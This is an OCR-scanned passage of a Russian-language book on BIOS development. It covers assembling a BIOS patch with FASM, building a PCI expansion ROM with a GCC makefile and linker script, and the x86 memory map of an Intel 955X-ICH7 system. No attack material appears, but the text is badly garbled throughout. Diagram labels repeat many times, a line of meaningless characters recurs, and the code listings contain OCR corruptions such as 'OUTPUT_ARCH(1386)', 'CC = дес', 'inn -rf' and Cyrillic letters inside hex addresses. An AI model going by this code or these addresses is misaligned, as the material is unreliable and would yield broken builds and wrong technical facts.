or eax, tlb_mask
out dx, eax
pop dx
pop eax
popf
clc; Указываем, что эта процедура POST
; завершилась успешно.
retn; Возвращаемся в район заголовка файла НОМ.
Чтобы ассемблировать код из листинга 3.3, скопируйте его в текстовый редактор FASMW (см. рис. 3.1) и нажмите комбинацию клавиш <Ctrl>+<F9>. Как видим, процесс ассемблирования FASMW более удобен, нежели аналогичный процесс с помощью NASM.
Рис. 3.1. Редактор кода FASMW
SMW создаст ассемблированный двоичный файл и поместит его в ту же самую папку, в которой находился исходный код. Двоичному файлу будет Р своено такое же имя, как и имя файла с исходным кодом, но с расшире- м сот, а не asm, как для исходного файла. Дамп ассемблированного дво- чного файла здесь не приводится, поскольку он полностью совпадает с дам-
пом двоичного файла, ассемблированного с помощью NASM. Обратите внимание, что FASM 1.67 скомпилирует исходный файл, показанный в листинге 3.3 в двоичный файл с расширением .bin.
Хотя выбор между ассемблерами FASM и NASM является делом вкуса, я рекомендую FASM, так как с ним легче работать. В пользу этого.выбора говорит и то, что FASM изначально создавался для разработки операционных систем. Это обстоятельство означает, что его можно с успехом использовать и для разработки прикладного программного обеспечения, связанного с BIOS, так как оба эти вида программ работают с "железом" напрямую. Однако данная рекомендация действительна только для проектов, в которых применяется только язык ассемблера. Иными словами, она не годится в тех случаях, когда язык ассемблера используется в комбинации с другими языками программирования. Вопросы совместного использования ассемблера с высокоуровневыми языками программирования более подробно рассматриваются в следующем разделе.
Разработка приложений BIOS с помощью GCC
В предыдущем разделе мы рассмотрели процесс создания "заплатки" для BIOS с применением исключительно языка ассемблера. При разработке простых "заплаток" BIOS этот подход оправдан. Однако для разработки системного программного обеспечения только языка ассемблера уже недостаточно. В данном случае приходится подниматься к следующему уровню абстракции, т. е. применять язык программирования высокого уровня. Следовательно, в некоторых ситуациях избежать применения компилятора невозможно. Одной из таких ситуаций может быть разработка модуля BIOS или BIOS платы расширения PCI специального назначения. Одним из альтернативных подходов к решению этого вопроса может быть применение GCC (GNU Compiler Collection — набор компиляторов проекта GNU).
0CC — разносторонний компилятор, имеющий интересные возможности для BIOS и связанного с ней программного обеспечения, в том числе:
GCC поддерживает совместное применение высокоуровневых и низкоуровневых языков программирования за счет включения ассемблерных вставок в функции C/C++.
в комплект поставки GCC входит и ассемблер GAS (GNU Assembler). Компоновщик GNU LD позволяет эффективно интегрировать код, сгенерированный GAS, в код, сгенерированный компилятором C/C++. GAS поддерживает синтаксис языка ассемблера AT&T. В последнее время в число его функциональных возможностей была добавлена и поддержка синтаксиса языка ассемблера Intel.
Одной из возможностей GCC является поддержка сценариев компоновки. Сценарий компоновки содержит подробные инструкции для управления процессом компоновки.
Чтобы понимать эти возможности и уметь ими пользоваться, необходимо знать этапы компиляции исходного кода на языке С. Процесс компиляции исходного кода на языке С для других компиляторов С состоит из тех же этапов, что и для компилятора GCC.
Из рис. 3.2 видно, что компоновщик играет важную роль в создании исполняемого файла. С его помощью объектный файл и библиотечные файлы из разных источников компонуются, т. е. соединяются, в один исполняемый файл, содержащий чисто машинный код. В данной книге рассматривается только "чистый" машинный код, так как BIOS общается с аппаратными средствами напрямую.
С помощью сценария компоновки можно контролировать каждый аспект процесса компоновки, например, перемещение (relocation) результатов компиляции, формат исполняемого файла и точку входа в исполняемом файле. В совокупности с различными утилитами обработки двоичных файлов (binutils GNU), сценарий компоновки предоставляет программисту мощный инструмент разработки программного обеспечения. Как видно из рис. 3.2, исходный код на языке ассемблера и исходный код на языке С можно ском- т(лировать отдельно, а затем с помощью компоновщика LD скомпоновать получившиеся объектные файлы в один исполняемый файл.
Исходный кодна языке СИсходный кодна языке Сi Препроцессор ।i Препроцессор ।I КомпиляторI КомпиляторАссемблер IАссемблер IИсходный код на языкеассемблераИсходный код на языкеассемблераАссемблер |Ассемблер |Объектный файл]Объектный файл]: Библиотеки, другие ;^ Компоновщик L
Исходный кодна языке С
Исходный кодна языке С
i Препроцессор ।
i Препроцессор ।
I Компилятор
I Компилятор
Ассемблер I
Ассемблер I
Исходный код на языкеассемблера
Исходный код на языкеассемблера
Ассемблер |
Ассемблер |
Объектный файл]
Объектный файл]
■ объектные файлы ;
Исполняемый файл/"Чистый" машинный код
Рис. 3.2. Этапы компиляции исходного файла на языке С
В GCC имеются следующие способы получить чисто машинный код, или исполняемый двоичный файл:
Компиляция исходного кода -> Объектный файл -> Компоновщик LD -* Исполняемый двоичный файл
Компиляция исходного кода -» Объектный файл -» Компоновщик LD -> Объектный файл -> Утилита Objcopy -> Исполняемый двоичный файл
В данном разделе рассматривается второй способ. Для примера рассмотрим сценарий компоновки, используемый для создания экспериментальной BIOS платы расширения PCI, рассматриваемой в части III этой книги. Это — довольно простой сценарий компоновки. Именно поэтому он и выбран для начального этапа обучения.
Наиболее употребительный формат сценария компоновки показан на рис. 3.3.
Сценарий компоновки представляет собой обычный текстовый файл. Однако его содержимое должно удовлетворять определенным синтаксическим правилам компоновщика LD. В большинстве случаев используется именно формат, показанный на рис. 3.3. Для примера, рассмотрим make-файл и сценарий
тава 3. Подготовка к разработке прикладного программного обеспечения BIOS 85 компоновщика из главы 7. Make-файл и сценарий компоновки тесно связаны между собой, и поэтому должны рассматриваться совместно.
Формат выходного файла
Архитектура целевой машины
Точка входа исполняемого кода
Другие определения...
Определения секций
Рис. 3.3. Формат файла сценария компоновки
Листинг 3.4. Пример make-файла
Copyright © Darmawan Mappatutu Salihun
Имя файла : Make-файл
Использование этого файла разрешено только для некоммерческих целей.
#
СС = дес
CFLAGS = -с
LD = Id
LDFLAGS = -т pci_rom.ld
ASM = as
OBJCOPy = objeopy 0BJCOPY_FLAGS = -v -O binary
°BJS:= crtO.o main.о
R°M_OBJ = rom.elf r°M_bin = rom.bin R°M_SIZE = 65536
all: $(OBJS)
$(LD) $(LDFLAGS) -О $(ROM_OBJ) $(OBJS) $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
build_rom $(ROM_BIN) $(ROM_SIZE)
crtO.о: crtO.S
$(ASM) —о $@ $<
%.O: %.C
$(CC) -O $@ $(CFLAGS) $<
clean:
inn -rf *~ *.o *.elf *.bin
Из листинга 3.4 видно, что компилируются два исходных файла. Первый файл содержит исходный код на языке ассемблера, и ассемблируется с помощью GAS. Второй файл содержит исходный код на языке С и компилируется с помощью GNU C/C++. Затем объектные файлы, полученные в результате ассемблирования и компиляции, объединяются компоновщиком в один объектный файл. Для выполнения этого шага используется следующий сценарий компоновки:
$(LD) $(LDFLAGS) -о $(ROM_OBJ) $(OBJS)
Переменная ldflags используется для синтаксического разбора файла сценария компоновки. Она определяется заранее следующим образом:
LDFLAGS = -Т pci_rom.ld
Файл сценария компоновки называется pci_rom.ld. Содержимое этого файла показано в листинге 3.5.
Листинг 3.5. Пример сценария компоновки
/* ==========:==================:===========================^^
/* Copyright (С) Darmawan Mappatutu Salihun*/
/* Имя файла : pci_rom.ld*/
/* Использование этого файла разрешено только для некоммерческих целей.*/ /* =================================================================== */
OUTPUT_FORMAT("elf32-i386")
OUTPUT_ARCH(1386)
ENTRY(„Start)
boot_vect = 0x0000;
sections
{
. text __boot_vect :
(.
*( .text)
} = 0x00
.rodata ALIGN(4) :
(
*( .rodata)
) = 0x00
.data ALIGN(4) :
(
*( .data)
) = 0x00
.bss ALIGN(4) :
{
*( . bss)
} = 0x00
Чтобы разобраться с содержимым листинга 3.5, вернемся к рис. 3.3. Но сначала следует отметить, что, как и в исходном коде языка С, последовательность знаков /* и */ в сценарии компоновки служит для обрамления комментариев. Таким образом, первой значимой строкой кода в листинге 3.5 является следующая:
0UTPUT_FORMAT( "elf32-i386")
Эта строка сообщает компоновщику, что объектный файл, полученный в ре- 3Ультате компоновки, должен иметь формат elf32-i386. Файл формата elf32- *386 представляет собой двоичный исполняемый файл, предназначенный Для 32-битных процессоров семейства х86. В следующей строке кода компо- н°вщику сообщается точная архитектура машины, для исполнения на кото-
рой предназначен компонуемый код, а именно 32-битный х86-совместимыи процессор.
OUTPUT_ARCH(1386)
В строке, следующей после output_arch (1386), компоновщику передается информация о том, как обозначается точка входа в скомпонованном объектном файле:
ENTRY(„start)
Фактически, эта строка задает метку, которая указывает первую инструкцию в исполняемом двоичном файле, сгенерированном компоновщиком. В данной строке кода сценария компоновки точка входа обозначается меткой „start. В рассматриваемом примере эта метка установлена в ассемблерном файле, который подготавливает среду исполнения. Файл этого рода обычно называется crtO и присутствует в исходном коде большинства операционных систем. Соответствующий фрагмент кода из такого файла приведен в листинге 3.6.
Листинг 3.6. Фрагмент кода ассемблерного файла с точкой входа
# Copyright (С) Darmawan Марраtutu Salihun
Имя файла : crtO.S
Этот файл может использоваться только для некоммерческих целей
#
. text
.code!6
По умолчанию используется реальный режим.
(Добавьте префикс 66 или 67 для 32-битных инструкций) # Часть строк кода пропущена для краткости строки кода.
। Точка входа/Реализация BEV (вызывается во время загрузки системы / int 19h) #
global _start # точка входа
_start:
movw $0x9000, %ax # устанавливаем временный стек mow %ах, %ss # ss = 0x9000
। Часть строк опущена для краткости.
Исходный код на языке ассемблера в листинге 3.6 написан с использованием синтаксиса AT&T для архитектуры х86. Метка _start в нем объявлена глобальной следующим образом:
.global „start # точка входа
Данную метку необходимо объявлять глобальной, чтобы компоновщик мог видеть ее при осуществлении компоновки. Точку входа можно разместить и в исходном коде, написанном на языке C/C++. Но при этом следует помнить, что размещение точки входа в исходном коде на языке C/C++ вызывает проблему, связанную с применяемым компилятором. Некоторые компиляторы добавляют символ подчеркивания перед меткой, в то время как другие этого не делают. Однако, поскольку этот вопрос выходит за рамки предмета, обсуждаемого в этой книге (как вы помните, основной темой обсуждения является чисто машинный код), его подробное обсуждение здесь не приводится. При необходимости, подробная информация по этому вопросу может быть найдена в документации для конкретного компилятора.
Продолжим обсуждение вопроса, рассмотрев следующую строку кода в листинге 3.5:
—boot_vect = 0x0000;
В
эт°и строке кода определяется константа, которая задает начальный адрес Текстовой секции. Последующие строки представляют собой определения секций. Прежде чем рассматривать их работу, давайте разберемся, что такое секции.
ПРИ генерации кода, компилятор разбивает его на несколько частей, назы- Ваемых секциями. Каждая секция имеет свое назначение. В секции кода хра-
нится только исполняемый код. В секции донных хранятся только неиницц9ч лизированные данные. В секции данных только для чтения размещаются константы. Секция базового сегмента стека содержит данные стека во вре^я исполнения программы. Существуют и другие типы секций, но они зависят от операционной системы й поэтому здесь не рассматриваются. В адресно^ пространстве процессора размещение секций является логически смежны^ Это, однако, во многом зависит от текущей среды исполнения. На рис. 3.4 показано типичное отображение адресов только что описанных секций дЛя плоского двоичного файла.
Размещение секцийРазмещение секцийПоложение вадресном пространствепроцессора
Размещение секций
Размещение секций
Адрес точки входа + размер файла [----------- — -
(entryooint address + file size) I ''1 Базовый сегмент стека
Секция данных
Секция текста (кода)Секция текста (кода)Рис. 3.4. Образец расположения секцийРис. 3.4. Образец расположения секцийСекция данных только для чтения
Секция текста (кода)
Секция текста (кода)
Рис. 3.4. Образец расположения секций
Рис. 3.4. Образец расположения секций
Адрес точки входа(entry_point address)
Теперь рассмотрим определения секций:
SECTIONS {
. textboot_vect :
{
( .text)
} = 0x00
.rodata ALIGN(4) :
{
*( .rodata)
। = 0x00
data ALIGN(4) :
{
( .data)
} = 0x00
.bss ALIGN(4) :
{
( .bss)
} = 0x00
}
Определение секций в этом фрагменте кода совпадает с их расположением на рис. 3.4, так как make-файл, приведенный в листинге 3.4, выводит плоский двоичный файл. Определение секций начинается ключевым словом section. Определение секции кода начинается ключевым словом . text, секции данных только для чтения — ключевым словом .rodata, секции данных — ключевым словом .data и секции базового сегмента стека — ключевым словом .bss. Ключевое слово align служит для выравнивания начального адреса определения соответствующей секции по границе, кратной предопределенному количеству байтов. В приведенном фрагменте кода определения секций, за исключением секции кода, выравниваются по границе, кратной четырем байтам.
Секциям можно присваивать любые имена, по усмотрению программиста. Тем не менее, для ясности, рекомендуется присваивать им имена, руководствуясь образцом, приведенным в этой главе.
вернемся к строке кода, вызывающей сценарий компоновки в листинге 3.4:
$(LD) $(LDFLAGS) -о $(ROM_OBJ) $(OBJS)
В ~
этой строке вызова компоновщика вывод компоновщика помещается в дру- г°и объектный файл, представленный константой romjdbj. Каким образом мы п°лУчим этот объектный файл? Следующий фрагмент кода вносит ясность Данную ситуацию:
^СОру = оь j copy
^С°РУ_РЬАС5 _ _v _q binary
Роки кода, не относящиеся к рассматриваемому вопросу, пропущены.
$(OBJCOPY) $" (OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
В этих операторах make-файла используется утилита objcopy из набора ути. лит GNU для обработки двоичных файлов (binutils). Флаг -о binary указывает, что утилита objcopy должна создавать плоский двоичный файл из предварительно скомпонованного объектного файла. Здесь следует отметить, что утилита objcopy просто копирует соответствующее содержимое объектного файла в плоский двоичный файл, не изменяя расположения секций в скомпонованном объектном файле. Следующая строка кода в make-файле выглядит так:
build_rom $(ROM_BIN) $(ROM_SIZE)
Эта строка вызывает специализированную утилиту, которая накладыает наш плоский двоичный файл в качестве "заплатки" основной двоичный файл BIOS платы расширения PCI.
Итак, после прочтения данной главы вы приобрели необходимые знания об использовании сценариев компоновки для создания плоских двоичных файлов из исходных файлов, написанных на языке ассемблера и на языке С. Дополнительная информация представлена в разделе о BIOS плат расширения PCI.
Часть IIОБРАТНАЯ РАЗРАБОТКА BIOSМАТЕРИНСКОЙ ПЛАТЫ
*# rj)ef 1 hfe 3>reprbee^ S $Шпё2иФЗЕСТ.. F^W^ ^frVSet/ettep^d-i^ V4L132"" г V ' ^t» p xtenderVBW^^л^>^л *v>. >4<^^ ’^#:.See.№aximum,,float SMBS tf #|А§&Ьх 6па1У<й1ге^ JI tAf ±1$& ^ beferectile*# rj)ef 1 hfe 3>reprbee^ S $Шпё2иФЗЕСТ.. F^W^ ^frVSet/ettep^d-i^ V4L132"" г V ' ^t» p xtenderVBW^^л^>^л *v>. >4<^^ ’^#:.See.№aximum,,float SMBS tf #|А§&Ьх 6па1У<й1ге^ JI tAf ±1$& ^ beferectile
*# rj)ef 1 hfe 3>reprbee^ S $Шпё2иФЗЕСТ.. F^W^ ^frVSet/ettep^d-i^ V4L132"" г V ' ^
t» p xtender
VBW^^л^>^л *v>. >4<^^ ’^#:.See.№aximum,,float SMBS tf #|А§&Ьх 6па1У<й1ге^ JI tAf ±1$& ^ beferectile
*# rj)ef 1 hfe 3>reprbee^ S $Шпё2иФЗЕСТ.. F^W^ ^frVSet/ettep^d-i^ V4L132"" г V ' ^
t» p xtender
VBW^^л^>^л *v>. >4<^^ ’^#:.See.№aximum,,float SMBS tf #|А§&Ьх 6па1У<й1ге^ JI tAf ±1$& ^ beferectile
Глава 4
Знакомимся с системой
Введение
В этой главе механизм исполнения кода BIOS рассматривается в общих чертах. Исполнение кода BIOS отличается от исполнения кода большинства прикладных программ. Сложности аппаратного и программного обеспечения, а также проблемы совместимости, унаследованные от первого поколения процессоров х86, усложняют этот механизм. Всестороннему освещению этих сложностей, а также общей архитектуры процессоров х86 и посвящена данная глава. Особое внимание уделяется организации и принципам работы материнской платы, центрального процессора и набора системной логики.
Особенности аппаратного обеспечения
Применительно к BIOS, аппаратное обеспечение ПК имеет множество особенностей. Эти особенности и их влияние на исполнение кода BIOS рассматриваются в данном разделе.
Отображение системных адресов и адресация чипа BIOS
Общая архитектура современного ПК довольно сложна, и разобраться в ней очень трудно, особенно тем, чья профессиональная деятельность началась уже После того, как завершилась эпоха господства DOS. Что общего, можете вы опросить, имеется между современным аппаратным обеспечением и DOS? -Цело в том, что эта операционная система тесно связана как с BIOS, так
96 Часть II. Обратная разработка BIOS материнской платы и с аппаратными средствами. Эта связь сохранялась на протяжении десятилетий, с тем чтобы обеспечить обратную совместимость. При разработке архитектуры DOS было сделано множество предположений, касающихся BIOS и другого аппаратного обеспечения, с которым она взаимодействует. В отличие от современных операционных систем, DOS позволяет прикладным программам напрямую взаимодействовать с аппаратными средствами. Вследствие этого, многие предопределенные диапазоны адресов в аппаратном обеспечении современных ПК необходимо поддерживать в таком же состоянии, в каком они были во времена DOS. В настоящее время, большая часть работы по поддержанию этих диапазонов адресов выполняется чипсетом материнской платы и современными шинными протоколами. Эти диапазоны лежат в пределах первого мегабайта адресного пространства процессоров х86, т. е. в диапазоне 0x0_0000-0xf_ffff. Имейте в виду, что на этот диапазон адресов отображается не только ROM, но и многие другие отображаемые на память компоненты аппаратного обеспечения ПК. Этот аспект будет обсуждаться чуть позже.
При включении питания, процессор архитектуры х86 начинает работу с исполнения инструкции по адресу oxffff_fffo. Это — адрес первой инструкции BIOS материнской платы. Ответственным за переотображение этого адреса на чип системной BIOS является чипсет материнской платы. Системная BIOS — это первая программа, исполняемая процессором при включении питания. В табл. 4.1 приводится типичная схема распределения адресов памяти х86-совместимой системы сразу же после того, как системная BIOS завершит процесс инициализации.
Таблица 4.1. Схема общесистемного распределения адресов памяти для х86-совместимых процессоров
Общесистемная адресация
Конкретный диапазон адресов
Назначение
Область совместимости с DOS
(0х0_0000—OxF_FFFF)
0х0_0000- 0x9_FFFF
Область совместимости с DOS.
Размер области DOS составляет 640 Кбайт. Чипсет материнской платы всегда отображает эту область на основную память (RAM)
Таблица 4.1 (продолжение)
—
Общесистемная адресация
Конкретный диапазон адресов
Назначение
'область совместимости с DOS
(0х0__ 0 000- OxF_FFFF)
0хА_0000- OxB_FFFF
Область адресов наследуемой видеопамяти и/или диапазон адресов совместимой SMRAM.
128-Кбайтный диапазон адресов наследуемой памяти VGA (буфер кадров) Охаоооо—Oxbffff можно отобразить на устройство AGP или устройство PCI. Однако когда совместимое пространство SMM разрешено, обращения процессора в режиме SMM к этому пространству направляются в физическую системную память по этому адресу. Как уже говорилось ранее, обращения процессора, работающего в режиме, отличном от SMM, к этому пространству считаются обращениями к пространству видеобуфера
0хС_0000- OxD_FFFF
Область BIOS плат расширения.
Этот диапазон адресов, размером в 128 Кбайт, используется для BIOS плат расширения ISA и PCI. Системная BIOS копирует код BIOS плат расширения PCI из чипа ROM соответствующей платы в эту область RAM и исполняет его оттуда. Что касается BIOS плат расширения ISA, то она существует только в системах, поддерживающих такие платы. Иногда диапазон адресов, на который может отображаться чип BIOS соответствующей платы расширения ISA, жестко прошит на определенный сегмент адресов в этой области. В большинстве случаев, отдельные сегменты этого диапазона адресов можно установить в одно из четырех состояний: только для чтения, только для записи, для чтения и записи и отключено (disabled). Состояния этих сегментов контролируются установками определенных регистров чипсета материнской платы. За установку необходимого состояния сегментов отвечает системная BIOS
Таблица 4.1 (продолжение)
Общесистемная адресация
Конкретный диапазон адресов
Назначение
Область совместимости с DOS
(0х0_0000-0xF_FFFF
0хЕ_0000- OxE_FFFF
Область расширенной системной BIOS.
Этой области размером в 64 Кбайта можно назначать атрибуты записи и чтения, чтобы при помощи чипсета материнской платы на нее можно было отображать или системную память или BIOS плат расширения. Обычно эта область используется для RAM или ROM. В системах, которые поддерживают только чипы ROM BIOS размером в 64 Кбайта, на эту область отображается RAM
Область совместимости с DOS
(0х0_0000-0xF_FFFF)
0xF_0000- OxF_FFFF
Область системной BIOS.
Эта область представляет собой 64- Кбайтный сегмент. Ему можно назначать атрибуты чтения й записи. По умолчанию после сброса считывание и запись запрещены, и обращения направляются к чипу ROM BIOS через чипсет. Манипулируя атрибутами чтения и записи, чипсет может копировать BIOS в системную память (в так называемую "теневую память"). Когда этот диапазон адресов запрещен, чипсет не отображает его на системную память
Область расширенной памяти
(0х10_0000- OxFFFF_FFFF)
0х10_0000-
Top_of_RAM
Основная системная память от 1 Мбайт (10_0000h) до Top of RAM (Верхний предел RAM).
Эта область может содержать так называемую дыру (memory hole), т. е. участок, отображенный не на RAM, а на устройства ISA. Установка этого пробела в памяти зависит от конфигурации чипсета материнской платы
Таблица 4.1 (окончание)
Общесистемная адресация
Конкретный диапазон адресов
Назначение
"Область расширенной памяти
(охЮ__оооо— OxFFFF_FFFF)
Top_of_RAM- OxFFFF_FFFF
(4 Гбайт)
Область памяти AGP или PCI.
Эта область разделена на два диапазона адресов.
Первый из них,
APlC_Configuration_space, занимает диапазон адресов сoxfeco_oooo (4 Гбайт — 20 Мбайт) по Oxfecf_ffff и с Oxfeeo_oooo по Oxfeef_ffff. Установка этого отображения зависит от чипсета материнской платы. Если чипсет не поддерживает APIC, то тогда этого отображения не существует.
Второй диапазон — это область высших адресов BIOS, которая занимает диапазон от 4 Гбайт до 4 Гбайт — 2 Мбайт. На этот диапазон адресов отображается чип ROM BIOS. Однако размер этого отображения зависит от чипсета материнской платы. Некоторые чипсеты поддерживают отображение чипа ROM BIOS только от 0xfffc_0000 (4 Гбайт— 256 Кбайт) до OxFFFF_FFFF (4 Гбайт). Но чипсеты всех материнских плат поддерживают отображение чипа ROM BIOS на диапазон адресов по крайней мере, от 0xFFFF_0000 (4 Гбайт — 64 Кбайт) до Oxffff_ffff (4 Гбайт).
В большинстве случаев любые адреса, лежащие вне этих конкретных диапазонов, но в пределах пространства памяти PCI (т. е. Top_of_RAM—4 Гбайт), используются для отображения устройств PCI или AGP, для которых нужно "локальную" память (т. е. память, расположенную на плате PCI) отобразить на системное пространство адресов. Это отображение обычно инициализируется системной BIOS. Обращения к этому пространству памяти управляются системным чипсетом (контроллером памяти). В случае с платформами AMD Athlon 64 и Opteron эти обращения управляются процессором, так как контроллер памяти встроен в эти процессоры
Вообще то, механизм общесистемного распределения адресов более сложный, чем показано в табл. 4.1. Нужно разобраться еще с двумя понятиями —. совмещение адресов (address aliasing) и затенение BIOS (BIOS shadowing).
Совмещение адресов подразумевает способность чипсета материнской платы назначать два разных диапазона адресов одному диапазону памяти физического устройства в одно и то же время. Например, все х86-совместимые чипсеты назначают диапазоны адресов 0xf_0000-0xf_ffff и Oxffff_fooo~ oxffff_ffff общесистемного адресного пространства последнему сегменту чипа ROM BIOS.
Затенение BIOS в RAM означает использование одного диапазона адресов адресного пространства для адресации двух разных физических устройств в разное время. Например, в зависимости от установок определенных регистров чипсета, диапазон адресов Oxfood-oxffff может в одно время указывать на последний сегмент чипа ROM BIOS, а в другое время — на область в RAM.
Теперь давайте посмотрим, как эти понятия используются на практике. Начнем с рассмотрения совмещения адресов на примере чипсета Intel 955X-ICH7.
Структурная схема, представленная на рис. 4.1, показывает связи между северным мостом, южным мостом и чипом BIOS. Северный и южный мосты соединены специальной локальной шиной Direct Media Interface (DMI), а южный мост и ROM BIOS соединены при помощи интерфейса LPC (Low Pin Count — в данном случае — шина с низким числом проводников). Между северным мостом и чипом BIOS нет прямой физической связи. Поэтому любые транзакции чтения или записи от процессора к чипу BIOS сначала проходят через северный мост, затем через интерфейс DMI (direct media interface —■ прямой интерфейс среды передачи информации), далее — через южный мост и, наконец, через интерфейс LPC достигают своего конечного пункта назначения. Кроме того, любые логические операции, исполняемые северным
южным мостами, в то время как через них проходят транзакции чтения или записи, оказывают влияние на транзакцию, направляющуюся в чип BIOS. Обратите внимание, что интерфейс LPC не оказывает влияния на транзакции меЖДУ южным мостом и чипом BIOS.
Процессор
200/266 MHz FSB (800/1066 MT/sf200/266 MHz FSB (800/1066 MT/sfЧипсетIntel 955X ExpressЧипсетIntel 955X Express
200/266 MHz FSB (800/1066 MT/sf
200/266 MHz FSB (800/1066 MT/sf
Чипсет
Intel 955X Express
Чипсет
Intel 955X Express
ДисплейДисплейГрафикаPCI Expressx16ГрафикаPCI Expressx16Видеокарта *■Видеокарта *■Транзакции чтенияДаписипроходят от процессора кчипу BIOS через шину DMIТранзакции чтенияДаписипроходят от процессора кчипу BIOS через шину DMIUSB 2.08 портов, 480 Мбит/сUSB 2.08 портов, 480 Мбит/сIDEIDE4 порта SATAАудио кодеки высокой четкости кАС '97 Intel4 порта SATAАудио кодеки высокой четкости кАС '97 Intel| Канал А| Канал АСеверныймостlntel955XСеверныймостlntel955XШина DMIШина DMIЮжный мостICH7Южный мостICH7Канал ВКанал В44Системная памятьJl 0DR2 I11 DDR2 ]Системная памятьJl 0DR2 I11 DDR2 ]Н DDR2 II DDR2 JН DDR2 II DDR2 JУправлениепитаниемУправлениепитаниемТактовый генераторТактовый генератор»| Локальная сеть»| Локальная сетьУправлениесистемой(ТСО)Управлениесистемой(ТСО)
Дисплей
Дисплей
ГрафикаPCI Expressx16
ГрафикаPCI Expressx16
Видеокарта *■
Видеокарта *■
Транзакции чтенияДаписипроходят от процессора кчипу BIOS через шину DMI
Транзакции чтенияДаписипроходят от процессора кчипу BIOS через шину DMI
USB 2.08 портов, 480 Мбит/с
USB 2.08 портов, 480 Мбит/с
IDE
IDE
4 порта SATA
Аудио кодеки высокой четкости к
АС '97 Intel
4 порта SATA
Аудио кодеки высокой четкости к
АС '97 Intel
| Канал А
| Канал А
Северныймостlntel955X
Северныймостlntel955X
Шина DMI
Шина DMI
Южный мостICH7
Южный мостICH7
Канал В
Канал В
4
4
Системная память
Jl 0DR2 I
11 DDR2 ]
Системная память
Jl 0DR2 I
11 DDR2 ]
Н DDR2 I
I DDR2 J
Н DDR2 I
I DDR2 J
Управлениепитанием
Управлениепитанием
Тактовый генератор
Тактовый генератор
»| Локальная сеть
»| Локальная сеть
Управлениесистемой(ТСО)
Управлениесистемой(ТСО)
| PCI Express х1| PCI Express х1ШинаSMBus 2.0 / ICШинаSMBus 2.0 / ICIntel PCI ExpressGigabit EthernetIntel PCI ExpressGigabit Ethernet| Шина PCI| Шина PCI
| PCI Express х1
| PCI Express х1
ШинаSMBus 2.0 / IC
ШинаSMBus 2.0 / IC
Intel PCI ExpressGigabit Ethernet
Intel PCI ExpressGigabit Ethernet
| Шина PCI
| Шина PCI
GPIO*GPIO*ГГI SPI BIOS™ |I SPI BIOS™ |Другие ASIC"(опционно)Другие ASIC"(опционно)Интерфейс LPCИнтерфейс LPC■| Super I/O |■| Super I/O |TPM"* (опционно)TPM"* (опционно)Флеш-BIOSФлеш-BIOS
GPIO*
GPIO*
Г
Г
I SPI BIOS™ |
I SPI BIOS™ |
Другие ASIC"(опционно)
Другие ASIC"(опционно)
Интерфейс LPC
Интерфейс LPC
■| Super I/O |
■| Super I/O |
TPM"* (опционно)
TPM"* (опционно)
Флеш-BIOS
Флеш-BIOS
. GPio = General-purpose input/output —Вводвывод общего назначения
_ ASIC= application-specific integrated circuit —Специализированная интегральная микросхема
„..TPM = Transaction-processing monitor —Монитор обработки транзакций
_J MT/s = 10®Transfers per second 40 8 передач в секунду
SPI = Serial Peripheral Interface —Последовательный периферийный интерфейс
Рис. 4.1. Блок-схема чипсета Intel 955X-ICH7
На рис. 4.2 показана карта адресов системной памяти чипсета Intel 955X Express, как она воспринимается процессором сразу же после включения питания. Это распределение адресов выполняется контроллером памяти8.
Адресное пространствосистемной памятиАдресное пространствосистемной памятиДиапазон адресовнаследуемой памятиДиапазон адресовнаследуемой памяти
Адресное пространствосистемной памяти
Адресное пространствосистемной памяти
Диапазон адресовнаследуемой памяти
Диапазон адресовнаследуемой памяти
Remap LimitRemap LimitТОМТОМ4 GB FFFF_FFFFh4 GB FFFF_FFFFhFFFF_OOOOhFFFE_FFFFhFFFF_OOOOhFFFE_FFFFhFFFE_OOOOhFFFE_OOOOhTOLUDTOLUD1 MB1 MB00Диапазон адресовпамяти PCIДиапазон адресовпамяти PCIДиапазон адресовосновной памятиДиапазон адресовосновной памятиДиапазон адресовосновной памятиДиапазон адресовосновной памятиСегмент F(верхняя BIOS)Сегмент F(верхняя BIOS)Сегмент Е(нижняя BIOS)Сегмент Е(нижняя BIOS)Системная BIOS(верхний диапазон)64 КВСистемная BIOS(верхний диапазон)64 КВСистемная BIOS(нижний диапазон)64 KB (16 KB x 4)Системная BIOS(нижний диапазон)64 KB (16 KB x 4)Область расширения(expansion area)128 KB (16 KB x 8)Область расширения(expansion area)128 KB (16 KB x 8)Верхняя область BIOSВерхняя область BIOSARICARICДиапазон адресовпамяти PCI(субтрактивнодекодируемый в DMI)Диапазон адресовпамяти PCI(субтрактивнодекодируемый в DMI)Диапазон адресовосновной памятиДиапазон адресовосновной памятиДиапазон адресовнаследуемой памятиДиапазон адресовнаследуемой памятиF.FFFFhF.FFFFhF_OOOOhE_FFFFhF_OOOOhE_FFFFhE_OOOOhD_FFFFhE_OOOOhD_FFFFhC_OOOOhB_FFFFhC_OOOOhB_FFFFhОбласть наследуемойвидеопамяти(SMM Memory)128 КВОбласть наследуемойвидеопамяти(SMM Memory)128 КВОбласть MS-DOSОбласть MS-DOSA.OOOOh9_FFFFhA.OOOOh9_FFFFh00Рис. 4.2. Карта адресов системной памяти чипсета Intel 955X/ICH7,как она интерпретируется процессором сразу же после включения питанияРис. 4.2. Карта адресов системной памяти чипсета Intel 955X/ICH7,как она интерпретируется процессором сразу же после включения питания8 В чипсете Intel 955Х контроллер памяти является частью северного моста. В системах AMD64 контроллер памяти встроен в процессор.8 В чипсете Intel 955Х контроллер памяти является частью северного моста. В системах AMD64 контроллер памяти встроен в процессор.
Remap Limit
Remap Limit
ТОМ
ТОМ
4 GB FFFF_FFFFh
4 GB FFFF_FFFFh
FFFF_OOOOh
FFFE_FFFFh
FFFF_OOOOh
FFFE_FFFFh
FFFE_OOOOh
FFFE_OOOOh
TOLUD
TOLUD
1 MB
1 MB
0
0
Диапазон адресовпамяти PCI
Диапазон адресовпамяти PCI
Диапазон адресовосновной памяти
Диапазон адресовосновной памяти
Диапазон адресовосновной памяти
Диапазон адресовосновной памяти
Сегмент F(верхняя BIOS)
Сегмент F(верхняя BIOS)
Сегмент Е(нижняя BIOS)
Сегмент Е(нижняя BIOS)
Системная BIOS(верхний диапазон)64 КВ
Системная BIOS(верхний диапазон)64 КВ
Системная BIOS(нижний диапазон)64 KB (16 KB x 4)
Системная BIOS(нижний диапазон)64 KB (16 KB x 4)
Область расширения(expansion area)128 KB (16 KB x 8)
Область расширения(expansion area)128 KB (16 KB x 8)
Верхняя область BIOS
Верхняя область BIOS
